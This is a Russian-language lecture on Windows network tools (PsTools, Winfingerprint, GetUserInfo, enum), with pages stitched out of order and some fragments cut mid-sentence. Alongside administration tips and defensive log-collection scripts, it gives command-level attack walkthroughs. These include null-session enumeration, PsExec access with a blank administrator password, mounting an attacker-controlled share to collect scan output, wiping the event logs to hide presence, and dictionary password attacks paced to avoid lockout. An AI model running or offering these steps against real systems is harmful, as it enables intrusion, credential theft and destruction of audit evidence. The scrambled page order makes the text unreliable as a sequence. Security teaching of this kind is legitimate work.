    16553,System,Application Popup,INFORMATION,GOBLYNSWOOD,Mon Mar 11...

    Можно просмотреть любой из трех журналов (системных событий, приложений или безопасности).

    C:\>psloglist.exe -s security
    Security log on \\GOBLYNSWOOD:
    14308,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:49:35
    2002,538,Orc\GOBLYNSWOOD,orcGOBLYNSWOOD(0x0,0x119382)3
    14307,Security,Security,AUDIT SUCCESS,GOBLYNSWOOD,Tue Mar 12 00:32:00
    2002,538,Administrator\GOBLYNSWOOD,AdministratorGOBLYNSWOOD(0x0,0x119513)3

    Параметр -f дает возможность фильтровать сообщения о событиях пятью способами: Warning (w), Information (i), Errors (e), Audit Success и Audit Failure. (Символы в скобках представляют собой сокращения, которые воспринимает PsLogList на входе). Два способа аудита применимы только для анализа журнала безопасности и должны вводиться в кавычках.

    C:\>psloglist.exe -s -f "Audit Success" Security Security_successes.log

    Используйте PsLogList для помощи в управлении вашей политикой сетевого аудита. Хотя эта программа не может переключить установки журнала событий, используйте программу для координации журналов и создания ежедневных, еженедельных или ежемесячных отчетов о своей сети. Надлежащий просмотр журнала поможет не только определить подозрительных пользователей, но и обеспечит управление состоянием сети.

    В заключение еще одно замечание: параметр -c очищает системный журнал после того, как он сброшен в текстовый файл. Используйте этот параметр с осторожностью, поскольку вы можете неумышленно очистить системный журнал до того, как сделана его резервная копия.

    C:\>psloglist.exe -c Application
    ...output truncated...
    Application event log on GOBLYNSWOOD cleared.
    C:\psloglist.exe Application
    Application log on \\GOBLYNSWOOD:
    No records in Application event log on GOBLYNSWOOD.
    Примечание. Взломщик может использовать параметр -c, чтобы очистить журнал и тем самым скрыть свое присутствие.

    Параметры -a и -b позволяют получить информацию о событиях, происшедших после или до заданной даты, введенной в формате мм/дд/гг. Ниже приведен образец того, как запросить информацию о событиях, относящихся к системе безопасности за предыдущую дату (02/09/02 - текущий день).

    C:\>psloglist.exe -a 02/08/02 -b 02/09/02 Security

    PsLogList читает журнал в двоичном формате из любой системы. Введите перед именем файла параметр -l. PsLogList определит тип системного журнала (события, безопасность, система).

    C:\>psloglist.exe -l Security.evt

    PsExec

    PsExec считается наиболее распространенной утилитой из набора PsTools. Она выполняет команды на удаленном компьютере, а также загружает программу на удаленную систему, если ее там нет. В отличие от других средств удаленного выполнения, таких как Windows-версии Unix-команды rexec, с помощью PsExec вам не надо устанавливать дополнительные динамические библиотеки или специальные серверные приложения. Однако вы должны иметь доступ к общему ресурсу ADMIN$ и полномочия для использования этого средства в сети.

    PsExec понимает, что вы хотите выполнять команду на удаленном компьютере, поэтому аргумент ComputerName обязателен (вы всегда можете определить параметры -u и -p, чтобы задать имя пользователя и пароль).

    C:\>psexec.exe \\192.168.0.43 cmd /c dir

    Убедитесь в правильности ввода полного имени команды. По умолчанию PsExec выполняет команды из директории %SYSTEMROOT%\System32. Ниже приведено несколько примеров.

    C:\>psexec.exe \\192.168.0.43 ipconfig /all
    C:\>psexec.exe \\192.168.0.43 net use * \\10.2.13.61\
      \backups Rch!ve /u:backup
    C:\>psexec.exe \\192.168.0.43 c:\cygwin\usr\sbin\sshd

    Если название программы или дорожка содержат пробелы, то они должны вводиться в двойных кавычках. Если программа отсутствует на компьютере, используйте параметр -c (или -f ). Тем самым вы скопируете копию программы с вашего компьютера в директорию \\ComputerName's \System32 другой машины. Параметр -f дает возможность перезаписать файл, если такой уже существует. Приведенный пример помещает программу fscan, сканер портов, выполняемый из командной строки, на компьютер, и затем запускает его на сканирование сети класса C.

    C:\>psexec.exe \\192.168.0.43 -c fscan.exe -q -bp1-10001 -o
    targets.txt 192.168.0.1-192.168.0.255

    Можно использовать параметр -c для загрузки полного набора утилит на удаленную машину.

    Последние три параметра управляют удаленным процессом. Для отсоединения от процесса и выполнения его в фоновом режиме используйте параметр -d (аналогично демо-режиму в Unix). Используйте параметр -s для запуска команды на системном уровне. Параметр -i дает возможность интерактивного взаимодействия с программой: с FTP или другими командами, которые требуют ввода пароля.

    PsShutdown

    PsShutdown - исключение из правил для набора PsTools. Программа обеспечивает те же самые функции, что аналогичное средство из набора Resource Kit. Обе программы работают удаленно. Вы можете разгрузить сервер или остановить незаконченный процесс разгрузки. PsShutdown используется, как это показано ниже ( psshutdown вводится без параметров, чтобы продемонстрировать доступные параметры).

    C:\>psshutdown.exe
    PsShutdown v1.01 - Local and remote shutdown/reboot program
    Copyright (C) 2000 Mark Russinovich
    Sysinternals - www.sysinternals.com
    usage: psshutdown [-t nn] [-m "message"] [-f] [-r] [-a] [-l | \\computer]
        -t  Specifies countdown in seconds until shutdown (default: 20 seconds)
        -m  Message to display to logged on users
        -f  Forces running applications to close
        -r  Reboot after shutdown
        -a  Abort a shutdown (only possible while countdown is in progress)
        -l  Shutdown the local system
        \\computer Shutdown the remote computer specified

    Нет никаких особых преимуществ использования этой утилиты. Чтобы просто разгрузить компьютер, воспользуйтесь параметром -f ; это работает аналогично команде shutdown -c -y из Resource Kit.

    Пример из жизни. Проникновение в DMZ

    Строгие правила брандмауэра все больше закрывают порты, которые сеть открывает для интернета. Хорошая архитектура сети помещает такие серверы высокого риска, как Web, почтовый и DNS в сегменты сети, отделенные от внутренней корпоративной сети и интернета, т.е. в область, относящуюся к демилитаризованной зоне, или DMZ. Однако корпоративная сеть может быть враждебной к Web-серверам и базам данных DMZ во многих отношениях. "Тревожный звонок" может обнаружить на рабочем месте пользователя PCAnywhere, беспроводный дисковод может обнаружить плохо защищенную точку доступа, которая предлагает адрес Dynamic Host Configuration Protocol (DHCP), или зловредный внутренний пользователь может пожелать залезть в кредитные карты, хранящиеся в базе данных.

    В любом случае порты NetBIOS между корпоративной сетью и DMZ чаще всего открыты. Несмотря на это, атака хакеров из интернета вызывает беспокойство, верно? Взгляните на то, как PsTools рассортировал Web-адреса. Во-первых, наш взломщик находится в корпоративной сети (IP-адрес в диапазоне 10.0.0.x), он получил доступ из беспроводного сетевого информационного центра (NIC). Целевая сеть - это Web-серверы и базы данных диапазона 192.168.17.x. Сканирование порта показывает только несколько открытых служб.

    C:\fscan -p1-1024 192.168.17.1-192.168.17.255
    192.168.17.1        139/tcp
    192.168.17.1        135/tcp
    192.168.17.1        3389/tcp
    192.168.17.1        445/tcp
    192.168.17.39       80/tcp
    192.168.17.39       139/tcp
    192.168.17.39       135/tcp
    192.168.17.39       445/tcp
    192.168.17.148      80/tcp
    192.168.17.148      139/tcp
    192.168.17.202      445/tcp
    192.168.17.239      139/tcp
    192.168.17.239      135/tcp
    192.168.17.239      445/tcp

    Похоже, что только порты Web и NetBIOS открыты; порты SQL должны быть блокированы брандмауэром.

    Хакер может запустить Winfingerprint, чтобы выяснить истинное имя пользовательского профиля администратора в случае, если системный администратор его переименовал (SID 500). Здесь взломщик запускает быстрый тест в диапазоне, чтобы определить любые системы с пустым паролем администратора. Бесполезно пробовать каждый IP-адрес сети 192.168.17.x, потому что многие из них не используются. Файл hosts.txt содержит IP-адрес или имя хоста только работающих систем.

    C:\for /F %%h in (hosts.txt) do psinfo -u Administrator -p ""
    \\192.168.17.%%h systeminfo_192.168.17.%%h.txt

    Если любая из команд прошла успешно, то взломщик обнаружил пользовательский профиль с пустым паролем. Заметьте, что атакующий нацелился на пользовательский профиль локального администратора каждой системы. В данном случае, на хосте 192.168.17.148 пароль администратора был пуст. PsInfo также обнаружил это (hotfix).

    SP2SRP1: Windows 2000 Security Rollup Package...

    Этот пакет со сдвигом строк означает, что наиболее распространенные уязвимости IIS залатаны, но это не предотвратило атаку, раз доступ к командной строке был получен с помощью PsExec.

    Взломщик создает общий ресурс Windows в своей собственной системе, 10.0.0.99, как хранилище для информации, собранной с Web-сервера. Затем атакующий применяет PsExec, чтобы заставить Web-сервер смонтировать этот ресурс.

    C:\psexec -u Administrator -p "" \\192.168.17.148 net use *
    \\10.0.0.99\tools pass /u:user
    Drive H: is now connected to \\10.0.0.99\tools.
    The command completed successfully.

    Затем взломщик запускает другой fscan с атакованного Web-сервера. Результаты должны отличаться, потому, что сканирование происходит за брандмауэром (см. лекцию "Перенаправление портов" на предмет методов доступа к портам, блокированных брандмауэром).

    C:\psexec -u Administrator -p "" \\192.168.17.148 -c fscan.exe -q
    -o h:\fscan.output -bp1-65535 192.168.17.0-192.168.17.255

    Посмотрите, что здесь происходит. Fscan копируется на систему-жертву ( -c ); система-жертва запускает fscan и сохраняет отчет ( -o h:\fscan.output ) на системе взломщика. Помните, что предыдущий шаг отобразил диск H: системы-жертвы в системе взломщика. Глядя в отчет, fscan обнаружил еще одну службу.

    192.168.17.202  1433/tcp

    Взломщик нашел базу данных!

    Затем атакующий запускает PsExec на 192.168.17.202 и собирает некоторую основную информацию. Вот некоторые из команд, которые надо запустить.

  • ipconfig /all. Определяет, является ли система системой со многими IP-адресами. Web-сервер часто имеет две сетевые карты - одну для интернет IP-адреса и другую для внутренних связей с базой данных.
  • netstat -na. Просматривает текущие связи и принимающие службы. Это отличный способ идентифицировать другие сети. Например, мы можем провести сканирование портов всего пространства сети класса А (10.0.0.0/8) или проверить отчет netstat и обнаружить связи со специфическими сетями класса С (10.0.35.0/24, 10.0.16.0/24 и т.д.).
  • dir /s c:\. Рекурсивный список директорий, повторяемый для каждого из дисков. Наряду со средством PsService, это определяет, какие программы инсталлированы. Это может также выявить чувствительные файлы, такие, как global.asa, которые содержат чистые текстовые пароли.
  • Как только все данные были украдены с сервера, взломщик вычищает файлы протоколов (logfiles) и переходит к следующей цели.

    C:\psloglist.exe -c Application -u Administrator -p "" \\192.168.17.148
    C:\psloglist.exe -c System -u Administrator -p "" \\192.168.17.148
    C:\psloglist.exe -c Security -u Administrator -p "" \\192.168.17.148

    Пример из жизни. Одомашнивание IDS

    PsTools кажется настолько элементарным, что вы можете усомниться в его полезности. Спросите себя, что вы хотите сделать. Способность дистанционно взаимодействовать со службами, файлами протоколов (logfiles) и командной строкой - это не то, над чем можно посмеяться. Фактически, немного гениальности в комбинации с несколькими короткими batch-файлами и запланированными задачами может создать систему вторжения/обнаружения (IDS) среднего уровня. Рассмотрите следующие сценарии.

    Управляющие процессы. В 2001 г. прогон взломов IIS отправлял программные оболочки cmd.exe обратно к взломщику. Иногда cmd.exe переименовывали в root.exe.

    Чтобы справиться с таким типом взлома, вы сначала настраиваете усиленную систему Windows на работу в качестве главного административного сервера. Затем запускаете следующий сценарий, чтобы просмотреть на предмет нестандартных процессов (вам понадобятся команды sleep и tee из Resource Kit или Cygwin).

    rem ProcWatch.bat|
    rem usage: procwatch.bat IP address username password
    :loop
        pslist \\%1 -u %2 -p%3 cmd | tee procwatch.txt
        sleep 60
    goto :loop

    Обратите внимание, что batch-файл принимает IP-адрес, имя пользователя и пароль из командной строки. Это гарантирует, что мы никогда не пишем пароль, который делает файл универсально применимым. Заметьте, что файл истории DOS на главном сервере запомнит пароль. Следующее диалоговое окно свойства (Properties) показывает, как установить размер буфера в ноль, используя свойства (Properties) cmd.exe.

    Вы можете наблюдать отчет на командном экране, или запустить другие средства, чтобы просмотреть файл procwatch.txt автоматически на присутствие cmd.exe.

    Сбор файлов протоколов (Log Files). Другое преимущество использования PsExec и PsLogList состоит в консолидации файлов протоколов (logfile). Мы уже продемонстрировали, насколько полезен PsLogList для сбора и чистки удаленных протоколов событий. Файлы протоколов Web-сервера требуют более сложного подхода. Вы можете запускать сценарии на каждом отдельном Web-сервере, которые копируют протоколы, или запустить один сценарий со своего главного административного сервера, который собирает файлы протоколов со всех Web-серверов. В дополнение к следующим двум batch-файлам, вам необходимо задать следующее.

  • C:\shares\dropoff\. Директория, размещенная на главном сервере, в которой пользователь Guest записывает привилегии.
  • C:\logs\. Директория для хранения файлов протоколов (logfiles). Создайте вложенные директории по имени каждого Web-сервера.
  • batch-файл сбора. Это файл, чтобы запускать процесс сбора.
  • rem CollectLogs.bat
    rem usage: CollectLogs.bat username password
    
    for /F %%h in (webservers.txt) do rotate.bat %%h %1 %2

    Это вспомогательный batch-файл, который выполняет фактическую работу.

    rem rotate.bat
    rem usage: rotate.bat IP address username password
    
    rem Stop the Web Service
    psservice \\%1 -u %2 -p %3 stop w3svc
    rem Mount the master's file share for dropping off files
    psexec \\%1 -u %2 -p %3 net use L: \\master\dropoff plainpass /u:guest
    rem Copy the files from the web server to the master
    psexec \\%1 -u %2 -p %3 cmd copy C:\Winnt\System32\LogFiles\W3SVC1\*.log L:\
    rem Move the files from the master's dropoff folder to the log folder
    rem for the web server
    move C:\shares\dropoff\*.log C:\logs\%1\
    rem Disconnect the share
    psexec \\%1 -u %2 -p %3 net use L: /del
    rem Restart the Web Service
    psservice \\%1 -u %2 -p %3 start w3svc

    Вы можете запускать его каждый день, неделю, месяц. Он оставляет файлы протоколов (logfiles) на Web-сервере, но создает копии на вашем главном сервере. Затем вы можете запускать другие сценарии, чтобы производить автоматизированный обзор протоколов.

    Страницы:

    В рассказе Конан Дойля "Долина страха" Шерлок Холмс бранит полицейского инспектора: "Широта кругозора - одно из главных требований в нашей профессии. Взаимосвязь идей и косвенное использование знаний зачастую бывает невероятно интересным". В этой лекции мы надеемся продемонстрировать, как коллекционирование знаний об удаленном компьютере может быть использовано в личных целях. Меньше всего вам понравится создавать список пользователей, которые имеют интерактивный доступ к исследуемой системе; но можно получить и большое количество другой информации. Какие использованы (или не использованы) исправления в системе? Подбор пароля один из старейших, наиболее часто используемых методов атаки системы, но блокирует ли система вход после нескольких последовательных вводов неправильного пароля?

    Знания об удаленной системе помогут вам сделать предположения о возможной уязвимости системы. В других случаях области коллективного доступа со значимой информацией могут быть сконфигурированы для анонимного доступа. Вам необходимо искать исчерпывающую информацию, превосходящую данные сканирования портов.

    Большинство информации о Windows может быть получено из области общего пользования IPC$ (InterProcess Communications), по умолчанию - область общего доступа в системах Windows NT, 2000 и XP. Она поддерживает взаимодействие между приложениями в рамках одной системы или между удаленными системами. Для поддержки распределенного доступа и доменной среды IPC$ содержит много системной и пользовательской информации, необходимой для обслуживания их запросов.

    Наиболее распространенный вид соединения - NULL -соединение или анонимное, которое может быть установлено вручную с использованием команды net:

    C:\>net use \\target\ipc$ " " /u:" "

    Команда smbclient (из набора команд поддержки Samba) также может установить анонимное соединение, но только команда net use устанавливает соединение, поверх которого может работать другое приложение.

    $ smbclient \\\\target\\ipc\$ " " -U " "

    Важность этого простого, анонимного соединения состоит в том, чтобы продемонстрировать, как вы можете использовать инструменты для получения большого количества информации об исследуемой системе.

    Winfingerprint

    Утилита Winfingerprint активно разрабатывается, доступна в исходных кодах и позволяет получить большое количество информации из IPC$-области. Реализация протокола SNMP (Simple Network Management Protocol) дает доступ к журналу событий и возможность исследовать структуру Active Directory.

    Реализация

    Winfingerprint основана на графическом интерфейсе пользователя (GUI). Программа может сканировать единичный хост или непрерывный интервал сети. Состав запрашиваемой информации определяется установкой соответствующих отметок в формах. В этом есть только один неясный момент: нажимая кнопку OK, вы подразумеваете команду "сканировать хост". Рисунок 7.1 демонстрирует сканирование с отмеченным флагом NetBIOS.

    (рис 7.1) Сканирование Winfingerprint

    Это не главный фокус в использовании Winfingerprint. Но, тем не менее, отметим некоторую полезную информацию.

  • Role. Winfingerprint может определить с некоторой степенью подробности тип сервера и его операционную систему. Идентификаторы первичных контроллеров доменов (PDCs), контроллеров доменов резервирования (BDCs), и любые домены, к которым относится компьютер.
  • Date/Time. Помогает сделать предположения о месте физического размещения сервера. Локальное время сервера также может быть использовано, если вы попытаетесь управлять удаленными заданиями с использованием команды AT.
  • Usernames. Winfingerprint выводит список системных идентификаторов ID (SID) для каждого пользователя. Так можно определить администратора (SID 500).
  • Sessions. Здесь приводится список NetBIOS-имен других систем, которые поддерживают соединение с исследуемой. Часто это помогает уточнить список исследуемых систем BDC, баз данных или администраторов.
  • Services. Полный список служб дает возможность узнать, какие программы установлены и активны.
  • Примечание. Использование кнопки Save приведет к запросу "Winfingerprint Output", но это всего лишь способ вывести информацию в текстовый файл.

    Несмотря на извлекаемое количество информации, Winfingerprint, как все программы с графическим интерфейсом, имеет тот же недостаток - он не может быть запущен под управлением файла параметров. Интерфейс также позволяет задать большой интервал для сканирования, что приведет к получению результата в не слишком удобном формате. Можно использовать Perl-скрипт для анализа результата по ключевым полям, но это будет весьма неудобно для большой сети.

    Запуск Development Build

    Для администраторов, которые хотят получить доступ к самым свежим возможностям Winfingerprint, доступны исходные коды программы. Используйте cvs-систему (Concurrent Versions System) для получения последней версии кодов (пароль остается пустым).

    $ cvs -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net
    :/cvsroot/winfingerprint login
    (Logging in to anonymous@cvs.winfingerprint.sourceforge.net)
    CVS password:
    $ cvs -z3 -d:pserver:anonymous@cvs.winfingerprint.sourceforge.net
    :/cvsroot/winfingerprint co winfingerprint

    Результирующая директория содержит рабочий проект для Visual Studio. Откройте проект Visual Studio Project (DSP) и откомпилируйте. Если вы столкнулись с проблемами, убедитесь, что в опциях компиляции General установлен параметр uses MFC Shared DLL.

    GETUSERINFO

    ). Эта коллекция включает в себя несколько утилит, составляющих набор инструментов для администраторов, которым действительно требуется залезть внутрь Windows.

    Реализация

    Формат вывода очень похож на вывод команды net user, с несколькими мелкими отличиями, на которые важно обратить внимание. Строки, представленные жирным шрифтом, содержат информацию, которой нет в сообщениях команды net user.

    C:\>GetUserInfo.exe administrator
    GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002
    User information for [Local]\administrator
    User Name           Administrator
    Full Name
    Description         Built-in account for administering the computer/domain
    User's Comment
    User Type           Admin
    Enhanced Authority
    Account Type            Global
    Workstations
    Home Directory
    User Profile
    Logon Script
    Flags               NO_PWD_EXPIRE
    Account Expires     Never
    Password age in days    249
    Password last set       7/6/2001 3:22 PM
    Bad PWD count       0
    Num logons (this machine)   2432
    Last logon          3/12/2002 8:24 PM
    Logon hours         All
    Global group memberships    *None
    Local group memberships *Administrators
    Completed.

    Используя информацию о паролях (возраст, счетчик ошибочно введенных паролей, число входов в систему), вы можете сделать несколько выводов об этом пользователе. Неправильно введенные пароли могут свидетельствовать о предпринимаемых атаках или, если вы сами совершаете такую атаку, о том, как близко вы к пределу возможного количества попыток ввода неверного пароля. Возраст пароля может свидетельствовать о старом, не изменявшемся пароле, что является признаком пользовательского профиля, который никогда не использовался. Количество входов в систему может свидетельствовать об интенсивности использования соответствующего пользовательского профиля. Профиль с большим количеством входов может означать, что пользователь часто использует систему; соответственно малое количество входов может говорить о не слишком частой проверке системы. Конечно, количество входов в систему больше нуля для заблокированного пользователя (например, guest) означает, что в сети произошло нечто.

    Используя символ точки (.), можно перечислить всех пользователей системы. Посмотрите на правильный синтаксис.

    C:\>GetUserInfo.exe \.
    GetUserInfo V02.05.00cpp Joe Richards (joe@joeware.net) January 2002
    User Accounts for [Local]
    ---------------------------------------------------------------------
    Administrator           Orc         skycladgirl
    test                __vmware_user__

    С этого момента вы можете повторять просмотр для каждого пользователя для сбора специфической информации о пользовательском профиле. Утилиты командной строки хороши, а средства командной строки, которые могут работать на удаленной системе, просто великолепны. GetUserInfo может извлекать информацию о заданном домене или сервере.

    C:\>GetUserInfo.exe \\192.168.0.43\.
    C:\>GetUserInfo.exe domain\\192.168.0.43\.
    Совет. В сети с большим количеством Windows-доменов в первую очередь обращайте внимание на локальных пользователей (Local user).

    Замените точку именем пользователя для получения сведений о заданном пользователе.

    ENUM

    .

    Реализация

    Несмотря на то, что enum поставляется в исходных кодах, исполняемый модуль также доступен. Программа использует встроенные функции Windows, так что не нужно никаких дополнительных DLL-библиотек. Как только вы обнаружите открытый TCP-порт 139 в Windows, тут же запускайте enum.

    C:\>enum.exe
    usage:  enum.exe    [switches]  [hostname|ip]
    -U: get userlist
    -M: get machine list
    -N: get namelist dump (different from -U|-M)
    -S: get sharelist
    -P: get password policy information
    -G: get group and member list
    -L: get LSA policy information
    -D: dictionary crack, needs -u and -f
    -d: be detailed, applies to -U and -S
    -c: don't cancel sessions
    -u: specify username to use (default "")
    -p: specify password to use (default "")
    -f: specify dictfile to use (wants -D)

    Первые шесть параметров возвращают богатейшую информацию о цели исследования, обеспечивая доступ к общему ресурсу IPC$ через 139 или 445 порт. По умолчанию программа создает соединение с использованием NULL-ресурса - обычно это анонимный пользователь. Вы можете задать одновременно все шесть параметров, но мы сделаем это по отдельности, чтобы получить удобочитаемую выходную информацию.

    C:\>enum -UPG 192.168.0.139
    server: 192.168.0.139
    setting up session... success.
    password policy:
        min length: none
        min age: none
        max age: 42 days
        lockout threshold: none
        lockout duration: 30 mins
        lockout reset: 30 mins
    getting user list (pass 1, index 0)... success, got 5.
        Administrator Guest IUSR_ALPHA IWAM_ALPHA
        TsInternetUser
    Group: Administrators
    ALPHA\Administrator
    Group: Guests
    ALPHA\Guest
    ALPHA\TsInternetUser
    ALPHA\IUSR_ALPHA
    ALPHA\IWAM_ALPHA
    Group: Power Users
    cleaning up... success.

    Строки, помеченные жирным шрифтом, свидетельствуют о том, что выбранная система прекрасно подходит для подбора пароля. Число попыток входа с неправильным паролем не ограничено. На основании списка пользователей мы также сделали вывод, что в системе установлен Internet Information Server (IIS) ( IUSR_ALPHA, IWAM_ALPHA ) и Terminal Services ( TsInternetUser ).

    Воспользуемся параметрами -MNS для получения сведений, относящихся к серверу.

    C:\>enum.exe -MNS 66.192.0.139
    server: 66.192.0.139
    setting up session... success.
    getting namelist (pass 1)... got 5, 0 left:
        Administrator Guest IUSR_ALPHA IWAM_ALPHA
        TsInternetUser
    enumerating shares (pass 1)... got 3 shares, 0 left:
        IPC$ ADMIN$ C$
    getting machine list (pass 1, index 0)... success, got 0.
    cleaning up... success.

    Параметры позволили получить список пользователей, но мы также обнаружили общие файловые ресурсы. В данном случае присутствуют только ресурсы по умолчанию; однако мы можем предположить, что система имеет только один жесткий диск: C$. Помните, что здесь также установлен IIS. Из этого следует, что корневая директория для хранения Web-документов размещается на том же устройстве, что и директория C:\Winnt\System32. Это великолепная комбинация для использования некоторых особенностей IIS, например, такой, как ошибка в обходе директории Unicode.

    Используем параметр -L для получения информации о Local Security Authority (LSA). Эта команда возвращает данные о системе и соответствующем домене.

    C:\>enum.exe -L 66.192.0.139
    server: 66.192.0.139
    setting up session... success.
    opening lsa policy... success.
    server role: 3 [primary (unknown)]
    names:
        netbios: ALPHA
        domain: MOONBASE
    quota:
        paged pool limit: 33554432
        nonpaged pool limit: 1048576
        min work set size: 65536
        max work set size: 251658240
        pagefile limit: 0
        time limit: 0
    trusted domains:
        indeterminate
    netlogon done by a PDC server
    cleaning up... success.

    Теперь мы знаем, что имя системы ALPHA, и она относится к домену MOONBASE.

    Зачастую вы можете обнаружить, что пользователь Administrator не имеет пароля на вход. Это случается, когда администратор проскакивает процесс инсталляции и забывает установить сложный пароль, или когда администратор предполагает, что пароль для входа с полномочиями администратора достаточно сложен. Используйте параметры -U и -p для получения информации о конкретном пользователе.

    C:\>enum -UMNSPGL -u administrator -p "" 192.168.0.184
    Совет. Многие организации переименовывают пользовательский профиль Administrator и называют администратором гостевой профиль ( Guest ). Неопытные взломщики, которые не могут найти правильного административного профиля, могут просто потерять время даром. Обратите внимание на число -500 в значении идентификатора пользователя SID.

    Пример из жизни. Угадай пароль!

    Возможности для задания имени пользователя и пароля enum представляют собой элементарное средство для подбора паролей и, кроме того, включают опцию -f, что еще более упрощает ситуацию. Опция -P возвращает информацию об алгоритме пароля цели. Сюда входит период блокировки и число неправильных логинов до того, как Windows заблокирует системный пользовательский профиль. Вы должны всегда узнать это прежде, чем пытаться взломать пользовательский профиль.

    C:\enum -P 192.168.0.36
    server: 192.168.0.36
    setting up session... success.
    password policy:
        min length: 7
        min age: 2 days
        max age: 42 days
        lockout threshold: 5
        lockout duration: 30 mins
        lockout reset: 30 mins
        cleaning up... success.

    Воспользуйтесь этой информацией, чтобы настроить взлом перебором.

    Заметьте, что, по определению, пользовательский профиль администратора не может быть заблокирован попытками неправильного ввода пароля. Воспользуйтесь средством passprop/adminlockout из Resource Kit, если хотите применить практику блокировки доступа к администратору. Если блокировка пользовательского профиля не применена, то тест очень прост; присоедините словарь к цели. В этом примере никакие пароли не могут быть короче 7 знаков (хотя администратор всегда может установить произвольный пароль), следовательно, вам придется удалить слова из 6 букв из своего словаря.

    Выберите пользовательский профиль для взлома, настройте свой любимый файл со словарем и спускайте с привязи enum.

    C:\enum -D -u Administrator -f dict.txt

    Так запускается достаточно быстрая атака на пользовательский профиль администратора. Если вы пытаетесь взломать чей-либо пользовательский профиль, вам придется уделить больше внимания ограничениям по числу попыток. Подход, который работает в пределах 5 неправильных логинов, и период в 30 минут требует применения средств Cygwin или Resource Kit (для функции режима ожидания).

    C:\for /F %%p in (dict.txt) do enum -u Istari -p %%p -M 192.168.0.36
     output.txt  sleep 180s

    Заметно, что практика блокировки серьезно влияет на использование подбора пароля. Однако мы можем сменить нашу методологию, нацелившись сразу на нескольких пользовательских профилей, чтобы ускорить процесс. Воспользуйтесь опцией -G, чтобы идентифицировать пользователей из группы администратора или любой другой группы, на которую вы хотите нацелиться.

    C:\enum -G 192.168.0.36

    Затем снова примените перебор к обоим пользовательским профилям. Поместите имена пользовательских профилей в файл под названием users.txt. Если вам надо протестировать довольно большую пользовательскую базу, то не стоит беспокоиться о блокировке пользовательского профиля.

    C:\for /F %%p in (dict.txt) do for /F %%u in (users.txt) do 
    enum -u
    %%u -p %%p -M 192.168.0.36 output.txt

    При использовании этой техники файл users.txt должен быть большим, а файл pass.txt маленьким. Она отыскивает пользовательские профили с простыми паролями, такими как password, changeme или pass123.

    PSTOOLS

    Комплект . Утилиты enum и Winfingerprint довольствуются установлением NULL IPC$ соединения, а PsTools требуют пользовательских полномочий для реализации некоторых возможностей. Тем не менее, этот набор утилит возвращает открытый порт NetBIOS к лучшим временам удаленного выполнения команд. Вместо описания утилит в алфавитном порядке, мы начнем с наиболее безобидных и работающих универсально. Набор администратора Windows должен содержать эти средства, поскольку они существенно упрощают удаленное администрирование.

    Но для начала сделаем несколько замечаний об использовании этих программ.

  • Вы должны иметь полномочия пользователя. Наиболее функциональные из описываемых средств требуют полномочий администратора системы.
  • На исследуемой системе должна быть запущена служба "Server". Служба "NetLogon" помогает передавать пользовательские полномочия в домене.
  • Служба "RemoteRegistry" используется аналогично PsInfo.
  • Должен быть доступен ресурс IPC$.
  • В системе, где администрирование осуществляется с использованием графического интерфейса пользователя, левой кнопки мыши и терминальных служб, этот набор программ сохранит от излишнего напряжения в процессе работы.

    Внимание. В процессе удаленного администрирования ваше имя пользователя и пароль передаются по сети! Если вы беспокоитесь о sniffing -атаках, убедитесь, что ваши Windows 2000- и XP-серверы используют NTLMv2. Это дефект скрытой схемы аутентификации Windows, а не PsTools. Обратитесь к лекции "Средства взлома/подбора паролей" для получения дополнительной информации о паролях Windows.

    Реализация

    PsTools содержит 10 различных утилит, существенно упрощающих администрирование больших сетей. Удаленный доступ с использованием Terminal Services также способствует этому, но эти утилиты могут быть составной частью автоматических скриптов, включающих в себя журналы, списки активных пользователей, или могут выполняться по команде в дюжине систем.

    PsFile

    PsFile дает возможность получить список файлов на хосте, которые используются другим хостом. Эта утилита зеркально воспроизводит встроенную команду net file. Программа используется для отладки общего доступа к файлам и контроля неавторизованного доступа к файлам. Ниже приводится сокращенный вывод.

    C:\>psfile.exe
    Files opened remotely on GOBLYNSWOOD:
    [23]    D:\downloads\VMware-license-linux.txt
        User:   ORC
        Locks:  0
        Access: Read
    C:\>net file
    ID  Path                        User name   # Locks
    ---------------------------------------------------------------
    23  D:\downloads\VMware-license-linux.txt   ORC     0
    The command completed successfully.

    Можно сказать, что пользователь ORC просматривает лицензионную информацию нашего приложения VMware. Эта программа не может дать сведений, откуда пользователь осуществляет доступ. Это работа для netstat. Что общего между двумя этими командами? Параметр -c работает точно так же, как и параметр /close программы net file. Он закрывает соединение, основанное на идентификаторе пользователя ID (отмечено жирным шрифтом в предыдущем примере).

    C:\>psfile.exe 23 -c
    Closed file D:\downloads\VMware-license-linux.txt on GOBLYN.

    Кажется, нет никакого преимущества по сравнению с утилитой net. Однако каждая утилита из набора PSTools работает поверх удаленного соединения. Использование аналогично с добавлением полномочий пользователя в командной строке.

    C:\>psfile.exe \\192.168.0.176 -u Administrator -p IM!secure
    Files opened remotely on 192.168.0.176:
    [32] \PIPE\srvsvc
        User: ADMINISTRATOR
        Locks: 0
        Access: Read Write

    Если вы запустите программу psfile для хоста localhost и зададите его IP-адрес, то увидите, что он открывает соединение со службой server.

    Примечание. Каждая утилита PsTool принимает в командной строке последовательность \\RemoteHost -u UserName -p password, даже если в справке ( /h ) ничего об этом не говорится.

    PsLoggedOn

    PsTools не заподозришь в запутанном соглашении об именовании. PsLoggedOn отображает пользователей, которые работают в системе, неважно, соединившись с помощью консоли, используя файлы или другим удаленным методом.

    C:\>psloggedon.exe
    Users logged on locally:
            Unknown NT AUTHORITY\LOCAL SERVICE
            Unknown NT AUTHORITY\NETWORK SERVICE
            3/10/2002 11:23:49 AM   GOBLYNSWOOD\pyretta
            Unknown NT AUTHORITY\SYSTEM
    Users logged on via resource shares:
            3/12/2002 12:04:12 AM   (null)\ORC

    Список пользователей, соединившихся с системой общими ресурсами, может быть особенно интересен для администраторов. Можно управлять задачами, которые проверяют чувствительные системы, такие как контроллеры доменов, Web-серверы или базы данных финансового департамента. Вы можете понадеяться на журнал системных событий, но злонамеренные пользователи могут его уничтожить.

    Предполагая перспективу атак, будет предусмотрительно перехватывать атаки по переполнению буфера.

    PsGetSid

